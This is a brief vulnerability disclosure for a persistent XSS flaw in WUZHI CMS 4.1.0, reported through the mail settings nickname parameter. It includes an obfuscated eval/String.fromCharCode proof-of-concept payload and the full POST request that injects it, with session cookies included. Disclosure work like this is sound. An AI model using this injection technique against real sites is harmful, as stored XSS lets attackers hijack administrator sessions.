There is a XSS vulnerability

[jiguangsdf]

A xss vulnerability was discovered in WUZHI CMS 4.1.0
There is a persistent XSS attacks vulnerability which allows remote attackers to inject arbitrary web script or HTML via the form[nickname] parameter post to the /wuzhicms/www/index.php?m=core&f=set&v=sendmail&_su=wuzhicms&_menuid=24
When administrator access - system settings - mail server .then XSS vulnerability is triggered successfully

POC
xss payload: <details/open/ontoggle=eval(String.fromCharCode(97)+String.fromCharCode(108)+String.fromCharCode(101)+String.fromCharCode(114)+String.fromCharCode(116)+String.fromCharCode(40)+String.fromCharCode(50)+String.fromCharCode(41))>

Vulnerability trigger point

POST /wuzhicms/www/index.php?m=core&f=set&v=sendmail&_su=wuzhicms&_menuid=24 HTTP/1.1
Host: fuzz.xiuyi.org
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Referer: https://fuzz.xiuyi.org/wuzhicms/www/index.php?m=core&f=set&v=sendmail&_su=wuzhicms&_menuid=24
Content-Type: application/x-www-form-urlencoded
Content-Length: 851
Cookie: __cfduid=dcd01d5951c7b6b1f5f3fd39324d137691526470388; PHPSESSID=t6e94ppqcku3snj8fjkh1hr766; Hez_uid=f22ehrX3hfY45PF99wCKiDkpFxczDQxACuvXKlar; Hez_username=8b615TC4X88XB8QkGCmPT9Z0qL3i4LhPux6SJXhJHtvgOK6r; Hez_wz_name=d98cUO0qPRPJs4Lqdn6QRGqFgMZBk6Bg2MXj2NaRl5JctePw; Hez_siteid=b7d1qHmq8RC%2FWk28BUmwpfjqNRVMMxjMa7ZDsNeI
Connection: close
Upgrade-Insecure-Requests: 1

form%5Bmail_type%5D=1&form%5Bsmtp_server%5D=smtp.qq.com&form%5Bsmtp_port%5D=465&form%5Bauth%5D=1&form%5Bopenssl%5D=1&form%5Bsmtp_user%5D=188434853%40qq.com&password=**************************&form%5Bsend_email%5D=188434853%40qq.com&form%5Bnickname%5D=%E4%BA%94%E6%8C%87cms%E6%BC%94%E7%A4%BA%22%3E%3Cdetails%2Fopen%2Fontoggle%3Deval%28String.fromCharCode%2897%29%2BString.fromCharCode%28108%29%2BString.fromCharCode%28101%29%2BString.fromCharCode%28114%29%2BString.fromCharCode%28116%29%2BString.fromCharCode%2840%29%2BString.fromCharCode%2850%29%2BString.fromCharCode%2841%29%29%3E&form%5Bsign%5D=%3Chr+%2F%3E%0D%0A%E9%82%AE%E4%BB%B6%E7%AD%BE%E5%90%8D%EF%BC%9A%E6%AC%A2%E8%BF%8E%E8%AE%BF%E9%97%AE+%3Ca+href%3D%22http%3A%2F%2Fwww.wuzhicms.com%22+target%3D%22_blank%22%3E%E4%BA%94%E6%8C%87cms%3C%2Fa%3E%0D%0A%3Cimg%2Fsrc%3D1%3E&submit=%E6%8F%90%E4%BA%A4

when administrator access - system settings - mail server .then XSS vulnerability is triggered